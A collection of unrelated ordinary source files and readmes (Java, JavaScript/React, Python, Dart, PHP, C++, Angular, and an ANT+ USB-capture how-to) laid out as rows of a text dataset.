text
stringlengths 184
4.48M
|
---|
package sistemaNotas.examen.modelo.entidad;
import sistemaNotas.categoria.entidad.Categoria;
import sistemaNotas.dominio.ValidadorArgumento;
import sistemaNotas.pregunta.modelo.entidad.Pregunta;
import java.util.HashSet;
import java.util.Set;
public class Examen {
private Long examenId;
private Categoria categoria;
private String titulo;
private String descripcion;
private String puntosMaximos;
private String numeroDePreguntas;
private boolean activo = false;
private Set<Pregunta> preguntas = new HashSet<>();
public Examen(Long examenId, Categoria categoria, String titulo, String descripcion, String puntosMaximos, String numeroDePreguntas, boolean activo) {
this.examenId = examenId;
this.categoria = categoria;
this.titulo = titulo;
this.descripcion = descripcion;
this.puntosMaximos = puntosMaximos;
this.numeroDePreguntas = numeroDePreguntas;
this.activo = activo;
}
public Examen(Categoria categoria, String titulo, String descripcion, String puntosMaximos, String numeroDePreguntas, boolean activo) {
this.categoria = categoria;
this.titulo = titulo;
this.descripcion = descripcion;
this.puntosMaximos = puntosMaximos;
this.numeroDePreguntas = numeroDePreguntas;
this.activo = activo;
}
public static Examen reconstruir(Long examenId, Categoria categoria, String titulo, String descripcion, String puntosMaximos, String numeroDePreguntas, boolean activo){
ValidadorArgumento.validarObligatorio(examenId, "El id del Examen es obligatorio");
ValidadorArgumento.validarObligatorio(categoria, "La categoria del examene s obligatoria");
ValidadorArgumento.validarObligatorio(titulo, "El titulo del examen es obligatorio");
ValidadorArgumento.validarObligatorio(descripcion, "La descripcion del examen es obligatoria");
ValidadorArgumento.validarObligatorio(puntosMaximos, "Los puntos máximos del examen son obligatorios");
ValidadorArgumento.validarObligatorio(numeroDePreguntas, "El numero de pregunta es obligatorio");
ValidadorArgumento.validarObligatorio(activo, "El estado del examen es obligatorio");
return new Examen(examenId,categoria,titulo,descripcion,puntosMaximos,numeroDePreguntas,activo);
}
public static Examen crear(Categoria categoria, String titulo, String descripcion, String puntosMaximos, String numeroDePreguntas, boolean activo){
ValidadorArgumento.validarObligatorio(categoria, "La categoria del examene s obligatoria");
ValidadorArgumento.validarObligatorio(titulo, "El titulo del examen es obligatorio");
ValidadorArgumento.validarObligatorio(descripcion, "La descripcion del examen es obligatoria");
ValidadorArgumento.validarObligatorio(puntosMaximos, "Los puntos máximos del examen son obligatorios");
ValidadorArgumento.validarObligatorio(numeroDePreguntas, "El numero de pregunta es obligatorio");
ValidadorArgumento.validarObligatorio(activo, "El estado del examen es obligatorio");
return new Examen(categoria,titulo,descripcion,puntosMaximos,numeroDePreguntas,activo);
}
public Long getExamenId() {
return examenId;
}
public Categoria getCategoria() {
return categoria;
}
public String getTitulo() {
return titulo;
}
public String getDescripcion() {
return descripcion;
}
public String getPuntosMaximos() {
return puntosMaximos;
}
public String getNumeroDePreguntas() {
return numeroDePreguntas;
}
public boolean isActivo() {
return activo;
}
public Set<Pregunta> getPreguntas() {
return preguntas;
}
}
|
import { config } from '@repo/configs';
import { cors } from 'hono/cors';
import { csrf } from 'hono/csrf';
import { secureHeaders } from 'hono/secure-headers';
import { CustomHono } from '../types/common';
import { logEvent } from './logger/log-event';
import { logger } from './logger/logger';
const middlewares = new CustomHono();
// Secure headers
middlewares.use('*', secureHeaders());
// Sentry
// app.use(
// '*',
// sentry({
// dsn: config.sentryDsn,
// }),
// );
// Health check
middlewares.get('/ping', (c) => c.text('pong'));
// TODO: Add a middleware to check if the user is a bot
// Prevent crawlers from causing log spam
// app.use(async (ctx, next) => {
// if (!isBot(ctx.req.header('user-agent'))) await next();
// return errorResponse(ctx, 403, 'user_maybe_bot', 'warn');
// });
// Logger
middlewares.use(
'*',
logger(logEvent as unknown as Parameters<typeof logger>[0]),
);
// CORS
middlewares.use(
'*',
cors({
allowHeaders: [],
allowMethods: ['GET', 'HEAD', 'PUT', 'POST', 'DELETE'],
credentials: true,
origin: config.frontendUrl,
}),
);
// CSRF
middlewares.use(
'*',
csrf({
origin: config.frontendUrl,
}),
);
export { middlewares };
|
class object():
def __init__(self, val = 0, next = None, prev = None):
self.val = val
self.next = next
self.prev = prev
class MyLinkedList(object):
def __init__(self):
self.head = None
self.tail = None
self.length = 0
def getNode(self, index):
curr = self.head
for i in range(index):
curr = curr.next
return curr
def get(self, index):
"""
:type index: int
:rtype: int
"""
if index >= 0 and index < self.length:
return self.getNode(index).val
else:
return -1
def addAtHead(self, val):
"""
:type val: int
:rtype: None
"""
if self.length == 0:
self.head = object(val)
self.tail = self.head
else:
temp = object(val, self.head)
self.head.prev = temp
self.head = temp
self.length += 1
def addAtTail(self, val):
"""
:type val: int
:rtype: None
"""
if self.length == 0:
self.tail = object(val)
self.head = self.tail
else:
temp = object(val, prev = self.tail)
self.tail.next = temp
self.tail = temp
self.length += 1
def addAtIndex(self, index, val):
"""
:type index: int
:type val: int
:rtype: None
"""
if index > self.length:
return
if index <= 0:
self.addAtHead(val)
self.length -= 1
elif index == self.length:
self.addAtTail(val)
self.length -= 1
else:
prev = self.getNode(index - 1)
temp = object(val, prev.next, prev)
prev.next.prev = temp
prev.next = temp
self.length += 1
def deleteAtIndex(self, index):
"""
:type index: int
:rtype: None
"""
if index < 0 or index >= self.length:
return
if self.length == 1:
self.head = None
self.tail = None
elif index == 0:
self.head = self.head.next
self.head.prev = None
elif index == self.length - 1:
self.tail = self.tail.prev
self.tail.next = None
else:
prev = self.getNode(index - 1)
latter = prev.next.next
prev.next = latter
latter.prev = prev
self.length -= 1
# Your MyLinkedList object will be instantiated and called as such:
# obj = MyLinkedList()
# param_1 = obj.get(index)
# obj.addAtHead(val)
# obj.addAtTail(val)
# obj.addAtIndex(index,val)
# obj.deleteAtIndex(index)
|
<!doctype html>
{% load static %}
<html lang="en">
<head>
<!-- Required meta tags -->
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- Bootstrap CSS -->
<link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-1BmE4kWBq78iYhFldvKuhfTAU6auU8tT94WrHftjDbrCEXSU1oBoqyl2QvZ6jIW3" crossorigin="anonymous">
<title>{{ page_title|title }}</title>
</head>
<body>
<div class="header">
<nav class="navbar navbar-expand-lg navbar-light bg-light">
<div class="container-fluid">
<a class="navbar-brand" href="{% url 'mainapp:home' %}">НанОптика</a>
<button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarSupportedContent">
<ul class="navbar-nav me-auto mb-2 mb-lg-0">
<li class="nav-item">
<a class="nav-link active" aria-current="page" href="{% url 'mainapp:home' %}">Главная</a>
</li>
<li class="nav-item">
<a class="nav-link" href="#">СМК</a>
</li>
<li class="nav-item">
<a class="nav-link" href="{% url 'metrology:main' %}">Метрология</a>
</li>
</ul>
<form class="d-flex">
<input class="form-control me-2" type="search" placeholder="Search" aria-label="Search">
<button class="btn btn-outline-success" type="submit">Поиск</button>
</form>
</div>
</div>
</nav>
</div>
<div class="content">
{% block content %}
{% endblock %}
</div>
<div class="footer">
</div>
</body>
</html>
|
import Container from "@mui/material/Container";
import Box from "@mui/material/Box";
import Button from "@mui/material/Button";
import { useEffect, useState } from "react"
import AddTodo from "../Components/AddTodo";
import { useHistory } from "react-router-dom";
const Todo = () => {
const history = useHistory();
const [data, setData] = useState([]);
const [page, setPage] = useState(1);
const [loading, setLoading] = useState(true);
const [isError, setIsError] = useState(false);
const fetchTasks = () => {
fetch("https://fake-rjson-server-pro.herokuapp.com/task")
.then( res => res.json())
.then( res => setData(res) )
.catch( err => {
console.log(err);
setIsError(true);
})
.finally( () => setLoading(false) )
}
const createTask = ({title}) => {
setLoading(true)
const payload = {
title,
status: false,
}
const config = {
method: "POST",
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(payload)
}
fetch("https://fake-rjson-server-pro.herokuapp.com/task", config)
.then( res => fetchTasks())
.catch( err => {
console.log(err);
setIsError(true);
})
.finally( () => setLoading(false) )
};
useEffect(() => {
fetchTasks()
}, []);
const handleClick = (id) => {
history.push(`/tasks/${id}`);
}
let limit = 5;
return (
<Container sx={{border: "1px solid black", width: "33%", margin:"2rem auto"}}>
<h1>Todo</h1>
<Box sx={{padding:"2% 5%", margin:"2rem auto"}}>
<AddTodo onCreateTask={createTask} />
</Box>
<Box>
{ loading ? (
<Box>...Loading</Box>
) : isError ? (
<Box>Something went wrong</Box>
) : (
<Box sx={{display:"flex", gap:"1rem", flexDirection: "column", margin:"0rem auto 1rem"}}>
{ data && data.filter( (_,index) => index >= ( (page-1)*limit) && index < ((page-1)*limit)+limit ).map( item => (
<Box
onClick={()=>handleClick(item.id)}
key={item.id}
sx={{border: "1px solid black"}}>
{item.title}
</Box>
))
}
</Box>
)}
</Box>
<Box>
{ page !== 1 && <Button variant="contained" onClick={()=>setPage(page=>page-1)}>Prev</Button> }
<Button variant="contained" onClick={()=>setPage(page=>page+1)}>Next</Button>
</Box>
</Container>
);
}
export default Todo;
|
/**********************************************************************************************************************
* Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. *
* *
* Licensed under the Apache License, Version 2.0 (the "License"). You may not use this file except in compliance *
* with the License. A copy of the License is located at *
* *
* http://www.apache.org/licenses/LICENSE-2.0 *
* *
* or in the 'license' file accompanying this file. This file is distributed on an 'AS IS' BASIS, WITHOUT WARRANTIES *
* OR CONDITIONS OF ANY KIND, express or implied. See the License for the specific language governing permissions *
* and limitations under the License. *
*********************************************************************************************************************/
import { useRef, useState, useEffect, useContext } from 'react';
import { useNavigate } from 'react-router-dom';
import { Button, Link, Pagination, StatusIndicator, Table, TextFilter } from '@cloudscape-design/components';
import { useCollection } from '@cloudscape-design/collection-hooks';
import { FullPageHeader } from '../commons';
import { Breadcrumbs, ToolsContent } from './common-components';
import {
CustomAppLayout,
Navigation,
Notifications,
TableEmptyState,
TableNoMatchState
} from '../commons/common-components';
import {
paginationAriaLabels,
deploymentTableAriaLabels,
renderAriaLive,
getTextFilterCounterText,
getHeaderCounterText,
createTableSortLabelFn
} from '../../i18n-strings';
import { useColumnWidths } from '../commons/use-column-widths';
import { useLocalStorage } from '../commons/use-local-storage';
import HomeContext from '../../home/home.context';
import { DEFAULT_PREFERENCES, Preferences, parseStackName } from '../commons/table-config';
import { listDeployedUseCases, statusIndicatorTypeSelector } from './deployments';
import { DeleteDeploymentModal, onDeleteConfirm } from '../commons/delete-modal';
import { dateOptions } from '../useCaseDetails/common-components';
import { CFN_STACK_STATUS_INDICATOR, ERROR_MESSAGES } from '../../utils/constants';
function UseCaseTable({ columnDefinitions, saveWidths, loadHelpPanelContent }) {
const [selectedItems, setSelectedItems] = useState([]);
const [, setFilteringText] = useState('');
const [, setDelayedFilteringText] = useState('');
const [deployments, setDeployments] = useState([]);
const [loading, setLoading] = useState(false);
const [showDeleteModal, setShowDeleteModal] = useState(false);
const [preferences, setPreferences] = useLocalStorage('Preferences', DEFAULT_PREFERENCES);
const onDeleteInit = () => setShowDeleteModal(true);
const onDeleteDiscard = () => setShowDeleteModal(false);
const {
state: { deploymentsData, reloadData },
dispatch: homeDispatch
} = useContext(HomeContext);
const fetchData = async (isReload = false) => {
try {
setLoading(true);
if (deploymentsData.length === 0 || reloadData || isReload) {
const response = await listDeployedUseCases();
setDeployments(response.deployments);
homeDispatch({
field: 'deploymentsData',
value: response.deployments
});
} else {
setDeployments(deploymentsData);
}
setLoading(false);
homeDispatch({
field: 'reloadData',
value: false
});
homeDispatch({
field: 'authorized',
value: true
});
} catch (error) {
if (error.message === ERROR_MESSAGES.UNAUTHORIZED) {
homeDispatch({
field: 'authorized',
value: false
});
}
console.error(error);
}
};
useEffect(() => {
fetchData();
}, [reloadData]);
const dateCreatedColumn = columnDefinitions.find((column) => column.id === 'dateCreated');
const { items, actions, filteredItemsCount, collectionProps, filterProps, paginationProps } = useCollection(
deployments,
{
filtering: {
empty: <TableEmptyState resourceName="Deployment" />,
noMatch: <TableNoMatchState onClearFilter={() => actions.setFiltering('')} />
},
pagination: { pageSize: preferences.pageSize },
sorting: { defaultState: { sortingColumn: dateCreatedColumn, isDescending: true } },
selection: {}
}
);
const onClearFilter = () => {
setFilteringText('');
setDelayedFilteringText('');
};
const onSelectionChange = ({ detail }) => {
setSelectedItems(detail.selectedItems);
homeDispatch({
field: 'selectedDeployment',
value: detail.selectedItems[0]
});
};
return (
<div>
<Table
{...collectionProps}
loading={loading}
items={items}
onSelectionChange={onSelectionChange}
selectedItems={selectedItems}
columnDefinitions={columnDefinitions}
columnDisplay={preferences.contentDisplay}
selectionType="single"
ariaLabels={deploymentTableAriaLabels}
renderAriaLive={renderAriaLive}
variant="full-page"
stickyHeader={true}
resizableColumns={true}
onColumnWidthsChange={saveWidths}
wrapLines={preferences.wrapLines}
stripedRows={preferences.stripedRows}
contentDensity={preferences.contentDensity}
stickyColumns={preferences.stickyColumns}
header={
<FullPageHeader
counter={!loading && getHeaderCounterText(deployments, collectionProps.selectedItems)}
onInfoLinkClick={loadHelpPanelContent}
selectedItems={selectedItems}
setSelectedItems={setSelectedItems}
refreshData={fetchData}
onDeleteInit={onDeleteInit}
/>
}
loadingText="Loading deployments"
empty={<TableNoMatchState onClearFilter={onClearFilter} />}
filter={
<TextFilter
{...filterProps}
filteringAriaLabel="Filter deployments"
filteringPlaceholder="Find deployments"
filteringClearAriaLabel="Clear"
countText={getTextFilterCounterText(filteredItemsCount)}
/>
}
pagination={
<Pagination {...paginationProps} ariaLabels={paginationAriaLabels(filteredItemsCount.pagesCount)} />
}
preferences={<Preferences preferences={preferences} setPreferences={setPreferences} />}
/>
<DeleteDeploymentModal
visible={showDeleteModal}
onDiscard={onDeleteDiscard}
onDelete={onDeleteConfirm}
deployment={selectedItems[0]}
/>
</div>
);
}
const createCloudfrontUrlLinkComponent = (item) => {
if (!item.cloudFrontWebUrl || statusIndicatorTypeSelector(item.status) !== CFN_STACK_STATUS_INDICATOR.SUCCESS) {
return <div>{'-'}</div>;
}
return (
<div>
<Link external href={`${item.cloudFrontWebUrl}`}>
{'Open Application'}
</Link>
</div>
);
};
export default function DashboardView() {
const { dispatch: homeDispatch } = useContext(HomeContext);
const navigate = useNavigate();
const [toolsOpen, setToolsOpen] = useState(false);
const handleOnDeploymentIdClick = (deploymentItem) => {
homeDispatch({
field: 'selectedDeployment',
value: deploymentItem
});
navigate(`/deployment-details`);
};
const createDetailsPageLink = (item) => {
return (
<Button variant="link" onClick={() => handleOnDeploymentIdClick(item)}>
{parseStackName(item.Name)}
</Button>
);
};
const displayStackStatus = (item) => {
const cleanStatusString = (status) => {
return status.replaceAll('_', ' ').toLowerCase();
};
return (
<StatusIndicator type={statusIndicatorTypeSelector(item.status)}>
{cleanStatusString(item.status)}
</StatusIndicator>
);
};
const rawColumns = [
{
id: 'name',
sortingField: 'Name',
cell: (item) => createDetailsPageLink(item),
header: 'Use Case Name',
minWidth: 160,
isRowHeader: true
},
{
id: 'stackId',
sortingField: 'useCaseUUID',
header: 'Deployment Stack ID',
cell: (item) => item.useCaseUUID,
minWidth: 100
},
{
id: 'status',
sortingField: 'status',
header: 'Application Status',
cell: (item) => displayStackStatus(item),
minWidth: 60
},
{
id: 'dateCreated',
sortingField: 'CreatedDate',
header: 'Date Created',
cell: (item) => new Date(item.CreatedDate).toLocaleDateString('en-US', dateOptions),
minWidth: 120
},
{
id: 'modelProvider',
sortingField: 'ModelProvider',
header: 'Model Provider',
cell: (item) => item.LlmParams.ModelProvider ?? 'N/A',
minWidth: 100
},
{
id: 'webUrl',
sortingField: 'cloudFrontWebUrl',
header: 'Application Access',
cell: (item) => createCloudfrontUrlLinkComponent(item),
minWidth: 120
}
];
const COLUMN_DEFINITIONS = rawColumns.map((column) => ({
...column,
ariaLabel: createTableSortLabelFn(column)
}));
const [columnDefinitions, saveWidths] = useColumnWidths('DeploymentsDashboard-Widths', COLUMN_DEFINITIONS);
const appLayout = useRef();
const onFollowNavigationHandler = (event) => {
navigate(event.detail.href);
};
return (
<div>
<CustomAppLayout
ref={appLayout}
navigation={<Navigation onFollowHandler={onFollowNavigationHandler} />}
breadcrumbs={<Breadcrumbs />}
content={
<UseCaseTable
columnDefinitions={columnDefinitions}
saveWidths={saveWidths}
loadHelpPanelContent={() => {
setToolsOpen(true);
appLayout.current?.focusToolsClose();
}}
setSelectedDeploymentStorage
/>
}
contentType="table"
tools={<ToolsContent />}
toolsOpen={toolsOpen}
onToolsChange={({ detail }) => setToolsOpen(detail.open)}
notifications={<Notifications successNotification={true} />}
stickyNotifications
data-testid="dashboard-view"
/>
</div>
);
}
|
// -*- mode: outline ; coding: utf-8-unix -*-
** HOW TO HELP IF YOUR WATCH'S PROTOCOL IS NOT PROPERLY HANDLED BY ANT+minus
* In this case your device talks a different dialect of ANT/ANT+/ANT-FS that we've seen so far.
* To solve this, we'll need a dump of the USB communication between your watch (USB2ANT stick) and any software tool, that your watch is able to talk to: e.g. garmin's ant agent. This may be facilitated in a e.g. VirtualBox environment.
1) Install VirtualBox on linux, including proprietary oracle usb extensions from www.virtualbox.org. The Open Source edition in the distribution does not support USB.
2) Install win xp with service pack 3 in vbox, set up usb filter to pass through all devices
3) Install garmin's ant agent in virtual xp, but do not start it!
4) Plug in your USB2ANT stick to the host, make sure the cp210x driver didn't grab it, by unloading cp210x kernel module: "rmmod cp210x".
5) Make sure usbmon kernel driver is loaded on the host: "modprobe usbmon"
6) Under linux host, figure out usb bus address of your USB2ANT stick: "lsusb" (e.g.: "Bus 005 Device 001: ID 1d6b:0001 USB2ANT ..." means our bus number is 5)
7) We need to increase usbmon lower threshold for message truncation to say 100 characters. For this build the usbmon tool:
# git clone https://code.google.com/p/antpm/
# cd antpm/3rd_party/usbmon-6/
# make
8) Start capturing usb traffic under linux host: "./usbmon -i <USB bus> -fu -s 100 > ~/ant-usb-log-001.usbmon"
9) Start garmin's ant agent in virtual xp. Once the download is done, quit ant agent. Also terminate the above "cat" process. The dump of your usb communication is now saved to ~/ant-usb-log-001.usbmon.
10) At this point, you can provide the generated .usbmon file to the maintainers (send it compressed to [email protected]). Note that the dump file most likely contains your activities from your watch, and could be of personal nature!! It might be better idea to download, backup and erase the real activities from the watch. Then while the gps is fixed create dummy activities (to create a single dummy activity e.g.: start the timer, press a few splits, stop the timer, reset it) to be downloaded and captured in the trace.
|
#include "chain.h"
Chain::Chain() {}
Chain::Chain(std::string entry_chain) {
for (unsigned int i = 0; i < entry_chain.size(); i++) {
Symbol symbol(entry_chain[i]);
chain_.push_back(symbol);
}
}
void Chain::set_alphabet(Alphabet& entry_alphabet) {
alphabet_ = entry_alphabet;
}
void Chain::set_chain(std::string entry_chain) {
for (unsigned int i = 0; i < entry_chain.size(); i++) {
Symbol symbol(entry_chain[i]);
chain_.push_back(symbol);
}
}
Alphabet Chain::get_alphabet() {
return alphabet_;
}
std::string Chain::get_chain() {
std::string chain;
for (unsigned int i = 0; i < chain_.size(); i++) {
chain += chain_[i].get_symbol();
}
return chain;
}
void Chain::insert_symbol(Symbol& entry_symbol) {
chain_.push_back(entry_symbol);
}
int Chain::length() {
// std::cout << "Longitud de la cadena: " << chain_.size() << std::endl;
return chain_.size();
}
std::ostream& operator<<(std::ostream& os, const Chain& entry_chain) {
for (unsigned int i = 0; i < entry_chain.chain_.size(); i++) {
os << entry_chain.chain_[i];
}
return os;
}
|
## LeetCode Problem: Reverse Words in a String
### Problem Description
Given an input string `s`, reverse the order of the words. A word is defined as a sequence of non-space characters. The words in `s` will be separated by at least one space. Return a string of the words in reverse order concatenated by a single space. The returned string should not include any leading or trailing spaces, and multiple spaces between words should be reduced to a single space.
#### Example 1:
- **Input**: `s = "the sky is blue"`
- **Output**: `"blue is sky the"`
#### Example 2:
- **Input**: `s = " hello world "`
- **Output**: `"world hello"`
- **Explanation**: The reversed string should not contain leading or trailing spaces.
#### Example 3:
- **Input**: `s = "a good example"`
- **Output**: `"example good a"`
- **Explanation**: Multiple spaces between two words are reduced to a single space in the reversed string.
### Constraints
- 1 <= s.length <= 104
- `s` contains English letters (upper-case and lower-case), digits, and spaces ' '.
- There is at least one word in `s`.
### Solution
You can find the solution for this problem in Java by clicking on the following link: [Solution](Solution.java)
Feel free to explore the solution code and use it as a reference. Happy coding!
|
import { View, Text, ScrollView } from "react-native";
import React, { useContext, useState } from "react";
import { ClickContext } from "../context/ClickContext.js";
import { styles } from "../styles/MainScreenStyles.js";
import KeyPad from "../components/KeyPad.jsx";
import { ThemeContext } from "../context/ThemeContext.js";
const MainScreen = () => {
const theme = useContext(ThemeContext);
const [value, setValue] = useState("0");
const [lastValue, setLastValue] = useState("");
const [bracketOpen, setBracketOpen] = useState(false);
const [isError, setError] = useState(false);
const solvePercentage = (value) => {
const values = value.split("%");
if (values.length == 2) {
setValue(`${(eval(values.at(0)) * eval(values.at(-1) || 1)) / 100}`);
} else {
setError(true);
setLastValue(value);
setValue("Operation Not Supported");
}
};
const calculateResult = () => {
try {
if (
(value.match(/\(/g) || []).length === (value.match(/\)/g) || []).length
) {
if ("+-*/.".includes(value.slice(-1))) {
setValue(`${eval(value.slice(0, -1))}`);
} else {
if (value.includes("%")) {
solvePercentage(value);
} else {
setValue(`${eval(value)}`);
}
}
} else {
setLastValue(value);
setError(true);
setValue("Format Error");
}
} catch (e) {
setLastValue(value);
setValue("Format Error");
setError(true);
}
};
const handlePress = (btnValue) => {
if (!isError) {
if (btnValue === "AC") {
setValue("0");
setBracketOpen(false);
setError(false);
setLastValue("");
} else if (btnValue === "()") {
if (value === "0") {
setValue("(");
setBracketOpen(true);
} else if ("+-*/%".includes(value.slice(-1))) {
if (!bracketOpen) {
setValue(value + "(");
setBracketOpen(true);
}
} else if (value.slice(-1) === ".") {
} else if (value.slice(-1) === "(") {
} else {
if (!isNaN(value.slice(-1))) {
if (bracketOpen) {
setValue(value + ")");
setBracketOpen(false);
} else {
setValue(value + "*(");
setBracketOpen(true);
}
}
}
} else if (btnValue === "=") {
calculateResult();
} else if (btnValue === "<") {
if (value.length === 1) {
setValue("0");
} else {
if (value.slice(-1) === "(") {
setValue(value.slice(0, -2));
}
}
if (isError) {
setError(false);
setValue(lastValue);
}
} else if (btnValue === ".") {
if (!isNaN(value.slice(-1))) {
const lastValue = value.split(/[-+*/%]/).at(-1);
if (!lastValue.includes(".")) {
if (lastValue == "") {
setValue(value + "0.");
} else {
setValue(value + ".");
}
}
}
if (value.slice(-1) === "(") {
setValue(value + "0.");
}
} else if ("+-*/%".includes(btnValue)) {
if ("+-*/%".includes(value.slice(-1))) {
setValue(value.slice(0, -1) + btnValue);
} else {
if (value.slice(-1) === ".") {
setValue(value + "0" + btnValue);
} else {
setValue(value + btnValue);
}
}
// console.log(value);
} else {
if (value === "0") {
setValue(btnValue);
} else {
if (value.slice(-1) === ")") {
setValue(value + "*" + btnValue);
} else {
setValue(value + btnValue);
}
}
}
} else {
setError(false);
setBracketOpen(false);
setLastValue("");
setValue("0");
}
};
return (
<ClickContext.Provider
value={{
handlePress,
}}
>
<View style={[styles.mainScreen]}>
<ScrollView
ref={(ref) => (this.scrollView = ref)}
onContentSizeChange={() =>
this.scrollView.scrollToEnd({
animated: true,
})
}
style={[styles.display, theme === "light" && styles.darkTheme]}
>
<Text
style={[
styles.displayText,
theme === "light" && { color: "#ffffff" },
isError && { color: "#ff3311" },
]}
>
{value.toString().replace(/\B(?=(\d{3})+(?!\d))/g, ",")}
</Text>
</ScrollView>
<KeyPad />
</View>
</ClickContext.Provider>
);
};
export default MainScreen;
|
import { Component, OnInit } from '@angular/core';
import { ScoresService } from 'src/app/services/scores.service';
@Component({
selector: 'app-ahorcado',
templateUrl: './ahorcado.component.html',
styleUrls: ['./ahorcado.component.scss']
})
export class AhorcadoComponent implements OnInit {
LETRAS:Array<string> = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I',
'J', 'K', 'L', 'M', 'N', 'Ñ', 'O', 'P', 'Q',
'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'];
PALABRAS:Array<string> = [
'SEÑUELO', 'ILUSIONES', 'PANTALLA', 'DESPEDIDA', 'FERROCARRIL', 'MANZANA', 'PERGAMINO',
'INVITADO', 'SALUD', 'TRABAJO', 'PAN', 'FLORES', 'CIRCO', 'BOHEMIO', 'GIRASOLES', 'MENDIGO'
];
palabra:string = '';
arrayOriginal:Array<string> = [];
arrayActual:Array<string> = [];
letras:Array<string> = [];
vidas:number = 0;
juegoTerminado:boolean = false;
puntaje:number = 0;
constructor(private scoresService:ScoresService) { }
ngOnInit(): void {
this.reiniciar();
}
reiniciar() {
const indice = this.getRndInteger(0, this.PALABRAS.length - 1);
this.palabra = this.PALABRAS[indice];
this.arrayOriginal = this.palabra.split("");
this.arrayActual = [];
this.arrayActual.length = this.arrayOriginal.length;
this.letras = [...this.LETRAS];
this.vidas = 10;
this.juegoTerminado = false;
}
getRndInteger(min: number, max: number) {
return Math.floor(Math.random() * (max - min + 1) ) + min;
}
onTeclaClick(caracter:string) {
let adivino:boolean = false;
for (let i = 0; i < this.arrayOriginal.length; i++) {
if (caracter === this.arrayOriginal[i]) {
this.arrayActual[i] = caracter;
adivino = true;
}
}
this.letras = this.letras.map(
letra => {
let aux = letra;
if (letra === caracter) {
aux = '';
}
return aux;
}
);
if (!adivino) {
this.vidas--;
if (this.vidas === 0) {
this.juegoTerminado = true;
if (this.puntaje > 0) {
this.puntaje--;
}
}
}
else if (this.arrayActual.join("") === this.palabra) {
this.juegoTerminado = true;
this.puntaje++;
}
}
sendScore () {
this.scoresService.setScore('ahorcado', this.puntaje);
}
}
|
import 'package:flutter/cupertino.dart';
import 'package:flutter/material.dart';
import 'package:flutter/services.dart';
import 'package:flutter/widgets.dart';
import 'package:novanest/APIS/apis.dart';
import 'package:novanest/Screens/authentication/login_screen.dart';
import 'package:novanest/Screens/home_screen.dart';
import '../../main.dart';
class SplashScreen extends StatefulWidget {
const SplashScreen({super.key});
@override
State<SplashScreen> createState() => _SplashScreenState();
}
class _SplashScreenState extends State<SplashScreen> {
bool isAnimate =false;
@override
void initState() {
super.initState();
Future.delayed(const Duration(milliseconds: 1500), () {
setState(() {
isAnimate = true;
});
});
Future.delayed(const Duration(milliseconds: 3500),(){
SystemChrome.setEnabledSystemUIMode(SystemUiMode.edgeToEdge);
SystemChrome.setSystemUIOverlayStyle(const SystemUiOverlayStyle(systemNavigationBarColor: Colors.white, statusBarColor: Colors.white));
if(APIS.auth.currentUser!=null){
Navigator.pushReplacement(context, MaterialPageRoute(builder: (_)=>const HomeScreen()));
}
else {
Navigator.pushReplacement(context, MaterialPageRoute(builder: (_)=>const LoginScreen()));
}
});
}
@override
Widget build(BuildContext context) {
mq = MediaQuery.of(context).size;
return Scaffold(
body: Stack(
children: [
AnimatedPositioned(
top: isAnimate == true ? mq.height * .2 : -mq.height * .4,
width: mq.width * .46,
right: mq.width * .27,
duration: const Duration(seconds: 1),
child: Image.asset("images/appIcon.png")),
Positioned(
bottom: mq.height * .3,
width: mq.width * .8,
left: mq.width * .1,
height: mq.height * .07,
child: const Text("NovaNest",style: TextStyle(fontSize: 30,color: Colors.black54),textAlign: TextAlign.center,),
),
],
),
);
}
}
|
import React from 'react';
import {DataGrid, GridRenderCellParams} from '@mui/x-data-grid';
import {useTheme, Theme} from '@mui/material/styles';
import {Contact, contactData} from "../../data/contactData";
const columns = (theme: Theme) => [
{
field: 'name',
headerName: 'Name',
minWidth: 150,
renderCell: (cellValues: GridRenderCellParams) => (cellValues.value)
},
{
field: 'role',
headerName: 'Role',
minWidth: 150,
renderCell: (cellValues: GridRenderCellParams) => (cellValues.value)
},
{
field: 'skills',
headerName: 'Skills',
minWidth: 150,
renderCell: (cellValues: GridRenderCellParams) => {
return (<div style={{color: theme.palette.primary.main}}>{cellValues.value?.join(', ')}</div>)
}
},
{
field: 'startDate',
headerName: 'Start Date',
minWidth: 150,
renderCell: (cellValues: GridRenderCellParams) => (cellValues.value?.format('MM/DD/YYYY'))
},
{
field: 'preference',
headerName: 'Preference',
minWidth: 150,
renderCell: (cellValues: GridRenderCellParams) => (cellValues.value)
}
];
const ContactDataGrid = () => {
const theme: Theme = useTheme();
const rows: Array<Contact> = [...contactData];
return (
<DataGrid
columns={columns(theme)}
columnHeaderHeight={60}
pageSizeOptions={[5,10,50,100]}
rows={rows}
rowHeight={120}
/>
);
};
export default ContactDataGrid;
|
import folium
from folium import Choropleth
# Function to create a Folium choropleth map
def create_map(geo_data, key_on, columns, fill_color = "YlOrRd", fill_opacity = 0.7,
line_opacity = 0.7, legend_name = "", base_location = [40.7128, -74.0060],
base_zoom_start = 11, tiles = "CartoDB Positron"):
geo_data = geo_data
key_on = key_on
columns = columns
fill_color = fill_color
fill_opacity = fill_opacity
line_opacity = line_opacity
legend_name = legend_name
base_location = base_location
base_zoom_start = base_zoom_start
tiles = tiles
# Create a new Folium map with the specified base location and zoom level
folium_map = folium.Map(location = base_location, zoom_start = base_zoom_start, tiles = tiles)
# Add a Choropleth layer with the specified parameters
Choropleth(
geo_data = geo_data.to_json(),
data = geo_data,
columns = columns,
key_on = key_on,
fill_color = fill_color,
fill_opacity = fill_opacity,
line_opacity = line_opacity,
legend_name = legend_name
).add_to(folium_map)
return folium_map
|
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;
class CreateCustomerInvestmentsTable extends Migration
{
/**
* Run the migrations.
*
* @return void
*/
public function up()
{
Schema::create('customer_investments', function (Blueprint $table) {
$table->id();
$table->unsignedBigInteger('customer_id');
$table->unsignedBigInteger('investment_id');
$table->timestamp('redeemed_at')->nullable();
$table->timestamp('created_at')->useCurrent();
